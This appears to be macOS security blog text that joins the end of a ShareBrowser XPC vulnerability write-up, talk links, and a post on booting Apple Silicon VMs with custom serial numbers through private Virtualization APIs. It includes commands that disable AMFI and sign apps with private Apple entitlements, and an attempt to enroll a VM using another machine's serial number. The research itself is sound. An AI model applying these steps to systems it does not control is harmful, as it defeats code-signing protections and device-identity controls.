This service, as with before, points to /Library/EVO ShareBrowser/sbdcmounthelper. When we examine this daemon again, we see signature verification! Specifically ShareBrowser is verifying against their Team ID, 76PTYDYVW4 🎉

Conclusion

Overall I’m fairly happy this vulnerability was patched however I would advise Studio Network Solution customers to be cautious when handling sensitive information through SNS products. As there doesn’t seem to be a security team, you should keep in mind that future vulnerabilities may not be handled with the most care.

Otherwise this was a really great learning opportunity for me. Since this initial discovery, RIPEDA has implemented Project Zero’s 90+30 disclosure policy to avoid issues with delayed vendor rollouts in the future. And big thanks to Devin Byrd (Wanderingbug), Csaba Fitzl (theevilbit), and others on the macOSsec slack for their help answering my questions!

And for everyone else developing XPC services, make sure you properly validate who’s connecting!

A link to the recording and slides attached below:

• YouTube: BSides Calgary - Mykola Grymalyuk
  • Unfortunately there is no audio for the first 10 minutes, and going forward general audio issues.
• Slides: Legacy Macs, Modern Solutions
  • If you’d prefer, the rest of this blog is a gallery you can scroll through below.

• Reversing the Virtualization stack
• Modding VirtualApple to gain more private functions
• Granting Private Entitlements
• Booting our Virtual Machine with custom serial numbers
• Secure Enclave: The Missing Piece
• iCloud, OS Betas and Kernel Collections
• Conclusion

Reversing the Virtualization stack

To start, we’ll be delving into Apple’s Virtualization stack once more: /System/Library/Frameworks/Virtualization.framework. What we’ll be looking for is references to serial numbers in the framework, and whether there are any exposed methods to supplement our own values.

After a bit of searching, class dumps and a very useful page from the vz wiki, we can see some interesting properties and methods exposed in Virtualization.framework:

// Property
@property (T@"_VZMacSerialNumber",R) _serialNumber

// Class Method
[VZMacMachineIdentifier _machineIdentifierWithSerialNumber:]

_VZMacSerialNumber	_machineIdentifierWithSerialNumber

Notes:

• Virtualization.framework currently only supports serial numbers of 10 characters. This means serial numbers from pre-2021, such as Intel machines and first-wave M1s, will be unsupported. Models released after the 2021 M1 iMac should be using this new format (ex. 14”/16” MacBook Pros)
  • Reference: Apple Begins Transition to Randomized Serial Numbers With Purple iPhone 12
• These private APIs were added in macOS Ventura, thus requiring Ventura or newer as the host. However, Monterey guest VMs can still be used with them.

Modding VirtualApple to gain more private functions

Now that we have these fun new APIs to try, we need an app we can modify. For this, we’ll be modding Saagar Jha’s VirtualApple project. With some help from DhinakG, we’re all set to test our VM!

• DhinakG’s fork of VirtualApple

However, on Virtual Machine creation, we get an unfortunate error when trying to start a Virtual Machine with a custom serial number:

Granting Private Entitlements

After some brief debugging, I found that com.apple.Virtualization.VirtualMachine.xpc is dying with the following line:

FATAL: Unable to create a virtual machine with restricted devices.

Throwing the XPC service in a decompiler, we find our issue:

if (os_variant_has_internal_content("com.apple.virtualization") != 0x0) {
        sub_10024efa8("Restricted devices require the com.apple.private.virtualization entitlement.");
}

To resolve this, we’ll need to sign VirtualApple with a private entitlement. Unfortunately for us, that means we need to disable AMFI.

As we did in the last blog post, boot into recoveryOS and run the following in Terminal:

bputil --disable-boot-args-restriction
nvram 40A0DDD2-77F8-4392-B4A3-1E7304206516:boot-args='amfi=0x80'

amfi=0x80 is a boot argument that disables AMFI’s security restrictions, including allowing us to sign arbitrary entitlements on our applications.

• This boot-arg is also known as amfi_get_out_of_my_way=0x1

Once back in our main OS, we’ll need to add the following entitlement: com.apple.private.virtualization

Simply add it to VirtualApple’s entitlements.plist, and resign:

• You can also simply re-run the project with the updated entitlement if you don’t have an exported app.

codesign -f -s - --entitlements entitlements.plist VirtualApple.app

Booting our Virtual Machine with custom serial numbers

Finally, we can boot our virtual machine with our custom serial! After a brief install using a Store Demo serial number we have access to, we see some success! Our machine successfully appears as an Demo Unit with the expected “Demo Registration: Please, Enter the demo mode activation code” message:

Now for the real challenge, testing a serial number enrolled in DEP.

Now for this test I’ll grab a 10 character serial number off a test machine and see if we can enroll in that machine’s MDM.

While install and initial setup went smoothly, we do hit a serious error:

An error occurred while obtaining automatic configuration settings
The cloud configuration server is unavailable

No matter the OS or the serial number, we keep hitting this activation error…

Secure Enclave: The Missing Piece

After delving quite deep into the MDM enrolment flow, I found our core issue seems to be a missing UCRT.pem.

mobileactivationd: [com.apple.mobileactivationd:daemon] UCRT DEP enrollment state requested by mdmclient
mdmclient: [com.apple.ManagedClient:MDMDaemon] [0:MDMDaemon:<0x540>] UCRTsmb5: DEP registered according to UCRT: UCRTDEPStateUnavailable
mdmclient: [com.apple.ManagedClient:MDMDaemon] [0:MDMDaemon:<0x540>] CloudConfiguration: isDeviceRegisteredWithDEP:  APNS: -1  UCRT: -1  ProvDEP: 0

A UCRT is a User Identity Certificate that’s sent from Apple’s servers after our machine generates an attestation from the SEP (Secure Enclave Processor) using CryptoTokenKit.

• /usr/libexec/teslad requests the UCRT from Apple through -[MobileActivationMacOSDaemon issueUCRT:withCompletionBlock:]_block_invoke, the request will result in Server error: 400 (bad request) and thus the rest of the DEP chain will fail.
  • Reference: LocalPolicy signing-key creation and management

So why does our Virtual Machine fail to create a UCRT? Well unfortunately it seems to be caused by missing hardware, specifically the lack of a Secure Enclave in our virtual machine. During attestation, the Owner Identity Certificate (OIC) is requested from the Secure Enclave, however our Virtual Machine doesn’t support this and errors:

mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: bootpolicy_get_oic: entry
mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: SEP command 38 returned 3
mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: assert: bpe == 0  (/AppleInternal/Library/BuildRoots/8ca92091-1d5a-11ee-a938-46d450270006/Library/Caches/com.apple.xbs/Sources/BootPolicy/dylib/dylib.c:1942)
mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: bootpolicy_get_oic: exit: SEP storage (3)

Thus a proper attestation cannot be performed, and so the UCRT request fails.

So how does the rest of the OS function when there’s no SEP? Well Apple developed AppleVPBootPolicy.kext, AppleVPCredentialManager.kext and AppleVPKeyStore.kext to handle the missing SEP and trick most of the OS into functioning correctly. Though as we can see, it’s not perfect and fails to handle our Attestation request.

If we reverse /usr/lib/libbootpolicy.dylib and examine bootpolicy_get_oic, we’ll see an invocation to the SEP:

int _bootpolicy_get_oic(int arg0, int arg1) {
	...
	result = __sep_command(0x26, ..., ..., ..., 0x1024);
}

From this, __sep_command invokes __sep_send, which implements an IOConnectCall for communication with com.apple.security.BootPolicy in IOService

• Normally com.apple.security.BootPolicy would be BootPolicy.kext on bare metal, however in VMs AppleVPBootPolicy.kext will be taking this role.

Inside of AppleVPBootPolicy.kext, the array _command_functions[]’s entries corresponds to different functions.

SEP command 38 = _command_get_oic()

However the contents of this function doesn’t provide anything of use, instead always returning error code 3:

signed __int64 _command_get_oic()
{
  __asm { HINT            #0x22 }
  return 3LL;
}

• HINT #0x22 translates to 0010 001, which represents Profiling Synchronization Barrier (PSB).
  • Thanks Flagers for the tip

It seems that OIC handling was never implemented, most likely #ifdef‘d out of public versions.

iCloud, OS Betas and Kernel Collections

Another thing you may have noticed is that Apple Silicon Virtual Machines cannot sign into iCloud. Well the reason for this is also attestation related, since AuthKit.framework cannot setup a secure chain of trust. And guess what macOS 13.4 added? A new requirement for developer accounts to access macOS Betas.

And for those needing to boot development kernels or test kernel extensions are also out of luck, as it seems bputil/kmutil cannot communicate with the SEP to configure boot for custom Kernel Collections including Auxiliary KCs meant for kexts in /Library/Extensions.

• Steven Michaud has a thread in UTM’s repo on their research into custom Kernel Collections:
  • Cannot load 3rd party kexts #4026

Conclusion

While unfortunately this research journey didn’t result in any real successes for testing DEP workflows, it was still really interesting seeing how the enrolment setup functions as well as work with the private APIs in Virtualization.framework. Though it is quite frustrating seeing many development tools being unavailable in Virtual Machines, especially proper OS betas and custom kernel collections.

• Some partial work-arounds available however:
  • vma2pwn
  • Enabling macOS 14 beta updates in a virtual machine

Perhaps with macOS 15, we’ll finally get VirtualMac3,1 and proper SEP virtualization. Though this is just wishful thinking ;p